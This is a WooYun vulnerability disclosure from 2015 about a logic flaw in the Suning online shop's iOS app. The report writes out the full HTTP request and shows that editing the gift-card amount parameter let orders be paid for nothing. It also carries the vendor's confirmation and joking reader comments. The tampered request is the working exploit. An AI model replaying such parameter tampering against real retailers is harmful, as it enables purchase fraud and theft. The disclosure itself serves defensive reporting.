当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0135164

漏洞标题：苏宁易购主站逻辑缺陷不花钱买买买

相关厂商：江苏苏宁易购电子商务有限公司

漏洞作者： 路人甲

提交时间：2015-08-19 10:02

修复时间：2015-10-04 08:30

公开时间：2015-10-04 08:30

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：12

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-19： 细节已通知厂商并且等待厂商处理中
2015-08-20： 厂商已经确认，细节仅向厂商公开
2015-08-30： 细节向核心白帽子及相关领域专家公开
2015-09-09： 细节向普通白帽子公开
2015-09-19： 细节向实习白帽子公开
2015-10-04： 细节向公众公开

简要描述：

818大促啦！但是千万不要给我发货！

详细说明：

IOS app 苏宁易购V3.3.4
购物-立即购买-添加苏宁卡-添加完成会有这么个请求

POST http://cart.suning.com/webapp/wcs/stores/servlet/SNMobileSaveCardAndCoupons HTTP/1.1
Host: cart.suning.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Connection: close
User-Agent: 苏宁易购 3.3.4 rv:3.3.4.2 (iPhone; iPhone OS 8.4.1; zh_CN)
Content-Length: 105
Accept-Encoding: gzip
Connection: close
catalogId=10051&storeId=10052&validateCode=&vipCard_1=99XXXXXX&useCoupon=1&vipCardAmount_1=10000.00


vipCardAmount_1=10000.00 修改此处，余下的就是下面的图片

漏洞证明：

IMG_2158.PNG


关注优惠金额 和支付金额

745DD6D48FA356721767AC0C10B8F2AA.png


支付成功
web端

1212.png

修复方案：

订单我会主动取消，真别发货，谢谢

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-08-20 08:29

厂商回复：

感谢提交，昨天已经联系相关人员处理中。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-08-19 10:09 | 进击的zjx ( 普通白帽子 | Rank:295 漏洞数:63 | 工作需要，暂别一段时间)

    地址请写我的！

  2. 2015-08-19 10:19 | 大饭刚 ( 实习白帽子 | Rank:49 漏洞数:10 | 吃饭，喝酒，挖洞洞)

    坐等公开

  3. 2015-08-20 08:59 | ‮ ( 路人 | Rank:17 漏洞数:4 | -->‮)

    千万不要给我发货！

  4. 2015-08-20 09:01 | 大饭刚 ( 实习白帽子 | Rank:49 漏洞数:10 | 吃饭，喝酒，挖洞洞)

    楼上id呢？

  5. 2015-08-20 09:59 | 浮世浮城 ( 普通白帽子 | Rank:309 漏洞数:62 | 我存于这俗世烟火的浮世，我爱这时光倒影的...)

    楼上的楼上id呢？

  6. 2015-08-20 10:13 | 番茄师傅 ( 普通白帽子 | Rank:254 漏洞数:59 | http://www.tomatoyu.com/)

    @‮